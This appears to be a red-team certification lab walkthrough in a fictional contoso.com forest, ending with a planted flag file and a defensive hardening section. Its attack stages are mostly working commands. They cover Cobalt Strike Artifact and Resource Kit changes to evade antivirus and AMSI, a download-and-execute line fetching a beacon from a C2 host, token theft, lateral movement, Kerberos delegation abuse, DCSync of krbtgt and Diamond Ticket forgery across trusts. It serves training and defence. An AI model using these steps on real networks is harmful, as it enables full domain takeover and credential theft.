SECLABS
CERTIFIED RED TEAM OPERATOR // CAMPAIGN MANUAL
🌐 Visit Store / More Guides ↗

Enterprise Architecture & Target Progression

CHILD DOMAIN: DUBLIN.CONTOSO.COM
DUB-WKSTN-2 (Foothold)HTTP Beacon
DUB-WKSTN-1SMB Beacon
DUB-WEB-1SMB Beacon
DUB-SQL-1 (Constrained Del)SMB Beacon
DUB-DC-1 (Domain Admin)SMB Beacon
FOREST ROOT: CONTOSO.COM
LON-DC-1 (Enterprise Admin)Diamond Ticket
ISOLATED ENCLAVE: CONTOSO.ENCLAVE
ENC-JMP-1 (Jump Host)Inter-Realm TGS
ENC-FS-1 (RBCD Target)Objective: rto.txt
⚡
Offensive Execution: Campaign Stages & Tradecraft
Evasion engineering, credential manipulation, Kerberos ticket forgery, and lateral movement.
STAGE 00 · EVASION
Arsenal Kit Customization & Anti-Virus Evasion
Modify Cobalt Strike's Artifact Kit and Resource Kit source code, compile custom loaders under WSL using MinGW, configure Malleable C2 profiles, and eliminate static detection signatures.
What's going on here

Commercial EDRs and Windows Defender maintain static and behavioral signatures for standard Cobalt Strike artifacts. The Arsenal Kit provides the source code for Cobalt Strike's loaders, sleep masks, and resource templates, allowing operators to introduce custom obfuscation before payloads are generated.

Key evasion techniques applied:

  • Artifact Kit (patch.c): Replace standard 4-byte XOR decoding loops with a rolling 8-byte XOR key schedule. This alters the compiled binary pattern and breaks signature-based yara rules targeting standard artifact headers.
  • Resource Kit (template.x64.ps1): Replace known helper function identifiers (func_get_proc_address) with generic names and resolve WriteProcessMemory dynamically using reflection-based delegates to evade AMSI.
  • Obfuscated Gzip Wrapper (compress.ps1): Replace standard string decompression routines with heavily fragmented and token-split PowerShell expressions to defeat script block logging signatures.
1
Modify patch.c in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact\src-common\:
// Replace lines 40-42:
x = sizeof(process);
while (x--) {
    *((char *)process + x) = *((char *)process + x) ^ key[x % 8]; // 8-byte XOR
}

// Replace lines 45-47:
x = length;
while (x--) {
    *((char *)buffer + x) = *((char *)buffer + x) ^ key[x % 8]; // 8-byte XOR
}

// Replace lines 115-117:
int x = length;
while (x--) {
    *((char *)ptr + x) = *((char *)buffer + x) ^ key[x % 8];
}
Impact: Alters the byte signature of the loader stub, preventing Windows Defender from matching known Cobalt Strike artifact hashes.
2
Modify PowerShell templates in C:\Tools\cobaltstrike\arsenal-kit\kits\resource\:
# In template.x64.ps1:
# Replace all 'func_get_proc_address' with 'get_proc_address'
# Replace all 'func_get_delegate_type' with 'get_delegate_type'
# Replace Line 32 with dynamic delegate invocation:
$var_wpm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll WriteProcessMemory), (get_delegate_type @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr]) ([Bool])))
$ok = $var_wpm.Invoke([IntPtr]::New(-1), $var_buffer, $v_code, $v_code.Count, [IntPtr]::Zero)
Impact: Dynamic delegate lookup prevents static heuristic scanners from identifying dangerous API imports like WriteProcessMemory.
3
Compile custom Artifact Kit and Resource Kit binaries in WSL:
wsl
cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact
./build.sh mailslot VirtualAlloc 486388 0 false false none /mnt/c/Tools/cobaltstrike/custom-artifacts

cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/resource
./build.sh 5 none true false none /mnt/c/Tools/cobaltstrike/custom-resources
Verification: Test generated binaries with ThreatCheck.exe to verify that Defender does not trigger static detections.
4
Load custom CNA scripts and configure listeners in Cobalt Strike Client:
# Cobalt Strike -> Script Manager -> Load:
C:\Tools\cobaltstrike\custom-artifacts\mailslot\artifact.cna
C:\Tools\cobaltstrike\custom-resources\resources.cna
C:\Tools\SCShell\CS-BOF\scshell.cna

# Listeners created:
# 1. HTTP Listener: Hosts 10.0.0.5, Port 80
# 2. SMB Listener: TSVCPIPE-########-####-####-####-###############
Setup: Generates stageless HTTP executable (beacon_64.exe) hosted via Cobalt Strike Site Management.

HOST DUB-WKSTN-2
Initial Foothold & AppLocker Bypass
Bypass AppLocker default rules on the entry workstation to execute beacon_64.exe and establish initial C2 communication.
What's going on here

AppLocker policies often allow execution of binaries located in %WINDIR%\* while denying standard writable subfolders like %WINDIR%\Tasks\* or %SYSTEM32%\spool\*. However, writeable directories directly under C:\Windows\ (such as C:\Windows\run.exe when run under administrative elevation or user-accessible subdirectories like C:\Windows\Tracing) allow executable staging.

Executing the HTTP Beacon connects back to the Teamserver listener at 10.0.0.5, establishing our primary foothold session.

1
Download and execute Beacon payload on DUB-WKSTN-2:
iwr 10.0.0.5/beacon_64.exe -O C:/Windows/run.exe ; C:/Windows/run.exe
Result: Initial Beacon check-in received from DUB-WKSTN-2 as SYSTEM.

HOST DUB-WKSTN-1
Token Manipulation & SCShell SMB Lateral Movement
Steal token from the estate user process (Workstation Admins) and execute lateral movement via SCShell.
What's going on here

Rather than injecting into foreign processes (which trips EDR heuristics), Cobalt Strike's steal_token command duplicates the target primary token using Windows APIs (OpenProcessToken, DuplicateTokenEx) and impersonates it on the Beacon thread.

User estate belongs to the Workstation Admins group, granting administrative SMB access across domain workstations. SCShell performs fileless lateral movement by altering an existing service's binpath via ChangeServiceConfigA over DCERPC, starting the service to execute our Beacon payload, and instantly restoring the original binary path.

1
Enumerate processes, steal estate token, and verify computer targets:
# In Beacon console:
ps
steal_token <PID_OF_ESTATE_PROCESS>

# Enumerate domain computers with ADSearch:
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers
Result: Beacon impersonates DUBLIN\estate. ADSearch reveals DUB-WKSTN-1.
2
Configure OPSEC spawnto process and perform lateral movement to DUB-WKSTN-1:
dir \\dub-wkstn-1\c$
ak-settings spawnto_x64 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
jump scshell64 DUB-WKSTN-1 SMB
Execution: ak-settings configures our custom Arsenal Kit spawnto path to spoof Microsoft Edge, executing an SMB Beacon on DUB-WKSTN-1.

HOST DUB-WEB-1
Token Impersonation of Service Account (tdobson)
Steal token from tdobson on DUB-WKSTN-1 and move laterally to the web server DUB-WEB-1.
What's going on here

On DUB-WKSTN-1, process inspection reveals an active session for tdobson, an administrative service engineer responsible for the organization's web infrastructure. Stealing this token provides access to \\dub-web-1\c$.

1
Locate tdobson process, steal token, and pivot to DUB-WEB-1:
ps
steal_token <PID_OF_TDOBSON>
dir \\dub-web-1\c$
jump scshell64 DUB-WEB-1 SMB
Result: SMB Beacon checked in on DUB-WEB-1 chained through DUB-WKSTN-1.

HOST DUB-SQL-1
Kerberos Constrained Delegation (S4U) → DUB-SQL-1
Discover traditional Kerberos Constrained Delegation configured on DUB-WEB-1$, request a service ticket via Rubeus S4U, and pivot to the SQL server.
What's going on here

Active Directory enumeration reveals that the computer account DUB-WEB-1$ has the TRUSTED_TO_AUTH_FOR_DELEGATION userAccountControl flag set, with msDS-AllowedToDelegateTo populated with mssql/dub-sql-1.dublin.contoso.com.

This traditional Constrained Delegation configuration enables DUB-WEB-1$ to request a Service-for-User-to-Self (S4U2Self) ticket for any domain user (including a Domain Admin), and subsequently submit it via S4U2Proxy to obtain a forwardable TGS for the database service on DUB-SQL-1.

1
Identify constrained delegation on DUB-WEB-1$:
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers --attributes msds-allowedtodelegateto
Attribute match: Shows DUB-WEB-1$ is allowed to delegate to mssql/dub-sql-1.dublin.contoso.com.
2
Extract machine account TGT and execute S4U delegation with Rubeus:
# Elevate to SYSTEM on DUB-WEB-1
getsystem

# Extract computer TGT
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe tgtdeleg /nowrap

# Perform S4U2Self & S4U2Proxy impersonating Domain Administrator
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:mssql/dub-sql-1.dublin.contoso.com /altservice:cifs /ptt /ticket:<BASE64_TGT>
Service substitution: The /altservice:cifs parameter leverages Kerberos Service Ticket Name Alteration, enabling CIFS access to \\dub-sql-1\c$ using the delegated ticket.
3
Verify remote filesystem access and execute lateral movement:
dir \\dub-sql-1.dublin.contoso.com\c$
jump scshell64 dub-sql-1.dublin.contoso.com SMB
Result: SMB Beacon running on DUB-SQL-1.

HOST DUB-DC-1
Domain Controller Takeover & Domain Admin Compromise
Steal token from nwallace (Domain Admin) on DUB-SQL-1 and move laterally to the Domain Controller.
What's going on here

On DUB-SQL-1, process enumeration shows an active session belonging to nwallace. Checking domain group memberships reveals that nwallace is a member of Domain Admins for dublin.contoso.com.

Duplicating this token grants immediate administrative authority over DUB-DC-1, allowing execution of DCSync and extraction of the domain's krbtgt hash.

1
Steal nwallace token and jump to DUB-DC-1:
ps
steal_token <PID_OF_NWALLACE>
dir \\dub-dc-1\c$
jump scshell64 DUB-DC-1 SMB
Privilege escalation: Direct lateral movement to DUB-DC-1 as Domain Admin.
2
Execute DCSync to extract domain Kerberos keys:
dcsync dublin.contoso.com DUBLIN\krbtgt
Result: Dumps the NTLM and AES256 keys of krbtgt for dublin.contoso.com.

HOST LON-DC-1
Child-to-Parent Forest Escalation via Diamond Ticket
Enumerate domain trusts, query parent domain SID (contoso.com), and forge a Diamond Ticket with Enterprise Admin SID (RID 519) to compromise the forest root.
What's going on here

In an Active Directory forest, the root domain (contoso.com) and child domain (dublin.contoso.com) share a transitive two-way Kerberos trust. By design, forest boundaries (not domain boundaries) form the security perimeter of Active Directory.

A Diamond Ticket requests a legitimate Ticket Granting Ticket (TGT) from the KDC, decrypts it using the domain's krbtgt key, appends the parent forest's Enterprise Admins group SID (S-1-5-21-<PARENT_SID>-519) into the PAC's ExtraSids field, recalculates the cryptographic PAC signatures, and re-encrypts the ticket. Unlike Golden Tickets, Diamond Tickets feature valid ticket timestamps, server-generated salt, and genuine PAC metadata, evading anomaly-based Kerberos detection.

1
Enumerate domain trusts and query parent domain SID:
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectClass=trustedDomain)"
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --domain contoso.com --search "(objectClass=domain)" --attributes objectSid
Result: Parent domain controller is lon-dc-1.contoso.com with SID S-1-5-21-2978393527-2856525890-3498875888.
2
Forge Diamond Ticket with Enterprise Admins SID injection:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /user:nwallace /domain:dublin.contoso.com /dc:dub-dc-1.dublin.contoso.com /krbtgt:<KRBTGT_AES256> /sids:S-1-5-21-2978393527-2856525890-3498875888-519 /nowrap /ptt
Injection: Diamond Ticket imported into session cache granting Enterprise Admin rights across the entire forest.
3
Verify access to parent domain controller LON-DC-1:
dir \\lon-dc-1.contoso.com\c$
jump scshell64 lon-dc-1.contoso.com SMB
Result: Enterprise Admin execution on LON-DC-1. Total forest root compromise.

HOST ENC-JMP-1
Inter-Forest Pivoting to Isolated Enclave (contoso.enclave)
Enumerate external forest trusts to contoso.enclave, request cross-realm service tickets, and navigate outbound firewall rules via SMB Beacons.
What's going on here

The forest root contoso.com maintains a one-way trust with an isolated enclave forest: contoso.enclave. The enclave network enforces strict egress firewall filtering blocking all outbound internet and HTTP traffic.

Using the inter-forest trust relationship, we request an inter-realm TGS for the enclave jump host cifs/enc-jmp-1.contoso.enclave. Because egress HTTP is blocked, we deploy an SMB Beacon that operates peer-to-peer over port 445 back to our Beacon on LON-DC-1.

1
Request inter-forest service ticket for ENC-JMP-1:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/enc-jmp-1.contoso.enclave /dc:enc-dc-1.contoso.enclave /nowrap /ptt
Cross-realm TGS: The enclave KDC issues a valid CIFS service ticket for ENC-JMP-1 based on the inter-forest trust.
2
Pivot to ENC-JMP-1 using SMB Beacon:
dir \\enc-jmp-1.contoso.enclave\c$
ak-settings spawnto_x64 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
jump scshell64 enc-jmp-1.contoso.enclave SMB
Peer communication: The SMB Beacon links back over named pipe TSVCPIPE-... through LON-DC-1, bypassing outbound firewall restrictions.

HOST ENC-FS-1
Enclave File Server Takeover & Final Objective (rto.txt)
Enumerate Active Directory ACLs to identify WriteProperty over ENC-FS-1$, configure Resource-Based Constrained Delegation (RBCD), and capture the final flag.
What's going on here

On ENC-JMP-1, Active Directory enumeration with PowerView identifies that ENC-JMP-1$ possesses WriteProperty (or GenericWrite) on the computer object ENC-FS-1$.

We configure RBCD on ENC-FS-1$ allowing ENC-JMP-1$ to delegate to it. Running Rubeus S4U impersonating the enclave's Administrator grants local administrative privileges on ENC-FS-1, unlocking the final campaign proof.

1
Enumerate ACL permissions over ENC-FS-1:
powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
powerpick Get-DomainComputer -Identity "ENC-FS-1" | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll" }
Vulnerability: Confirms ENC-JMP-1$ has permission to write msDS-AllowedToActOnBehalfOfOtherIdentity on ENC-FS-1.
2
Configure RBCD and execute S4U delegation to compromise ENC-FS-1:
# Configure RBCD on ENC-FS-1 allowing ENC-JMP-1$
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:ENC-JMP-1$ /impersonateuser:Administrator /nowrap /msdsspn:cifs/enc-fs-1.contoso.enclave /ptt /ticket:<ENC_JMP_TGT>
Authentication: Generates and injects a valid TGS for cifs/enc-fs-1.contoso.enclave impersonating Administrator.
3
Verify access and capture final objective flag:
dir \\enc-fs-1.contoso.enclave\c$
jump scshell64 enc-fs-1.contoso.enclave SMB
run cmd /c echo DONE > \\enc-fs-1.contoso.enclave\c$\rto.txt
🚩
Objective Accomplished: rto.txt written to \\enc-fs-1.contoso.enclave\c$\. Full cross-domain and enclave takeover validated.
🛡
Defense Phase: Enterprise Hardening & Countermeasures
Detection rules, in-memory telemetry, Kerberos protection, and administrative tiering.
DEFENSED1 · MEMORY
C2 In-Memory Evasion Countermeasures & Detection
Deploy ETW threat intelligence, scan unbacked executable memory, and enforce WDAC.
Remediation Guidelines

1. Unbacked Executable Memory Detection: Deploy EDR rules scanning for memory allocations possessing PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_READ permissions not backed by a valid PE file on disk (a hallmark of Beacon reflective loaders).

2. Enable Windows Defender Application Control (WDAC): Transition from legacy AppLocker path rules to WDAC with code signing enforcement. WDAC prevents arbitrary binary execution regardless of write permissions in %WINDIR%.

3. Enforce ETW Ti (Threat Intelligence): Enable kernel-level Event Tracing for Windows Threat Intelligence (ETW-Ti) to capture memory allocation events (NtAllocateVirtualMemory) and protect AMSI hooks against patching.

DEFENSED2 · DELEGATION
Active Directory Kerberos Delegation Hardening
Eliminate unconstrained and legacy constrained delegation, audit RBCD, and protect privileged accounts.
Remediation Guidelines

1. Audit and Remove Legacy Constrained Delegation: Eliminate service accounts possessing TRUSTED_TO_AUTH_FOR_DELEGATION. Transition all legacy delegation systems to Resource-Based Constrained Delegation (RBCD) with restricted target services.

2. Enforce "Account is sensitive and cannot be delegated": Apply this flag to all privileged identities (Domain Admins, Workstation Admins, Service Accounts). This instruct the KDC to reject S4U2Proxy forwardable ticket generation.

3. Restrict Computer Object Write Permissions: Audit and remove WriteProperty and GenericWrite on computer objects to prevent unauthorized principals from writing msDS-AllowedToActOnBehalfOfOtherIdentity.

DEFENSED3 · TRUSTS
Cross-Forest SID Filtering & Kerberos Ticket Protection
Enforce quarantine on external trusts and detect Diamond Ticket anomalies.
Remediation Guidelines

1. Enable SID Filtering on All External Trusts: Enforce SID filtering with netdom trust <domain> /quarantine:yes to strip inter-realm injected SIDs (such as RID 519) at the forest boundary.

2. Rotate krbtgt Keys Regularly: Rotate the krbtgt account password twice consecutively every 180 days using Microsoft's automated New-KrbtgtKeys.ps1 script to invalidate forged Golden and Diamond tickets.

3. Monitor Diamond Ticket Signatures: Audit Event ID 4769 (A Kerberos service ticket was requested). Alert on discrepancies between the client encryption type and requested ticket attributes, and monitor Kerberos PAC validation failures (Event ID 14).

DEFENSED4 · ARCHITECTURE
Administrative Tiering Model & Credential Isolation
Enforce Privileged Access Workstations (PAWs) and deploy Windows Defender Credential Guard.
Remediation Guidelines

1. Implement Tiered Administrative Separation: Enforce strict separation between Tier 0 (Domain Controllers, PKI), Tier 1 (Enterprise Servers), and Tier 2 (Workstations). Never permit Tier 0 administrators (like nwallace) to log on to Tier 1 or Tier 2 hosts (such as DUB-SQL-1), eliminating token theft vectors.

2. Deploy Windows Defender Credential Guard: Isolate LSASS in a virtualization-protected container (VBS), preventing unprivileged and administrative processes from duplicating tokens or reading Kerberos keys from memory.

3. Enforce Remote Credential Guard / Restricted Admin Mode for RDP: Prevent administrative credentials from being cached in the remote host's LSASS memory during administrative maintenance sessions.

Enlarged evidence preview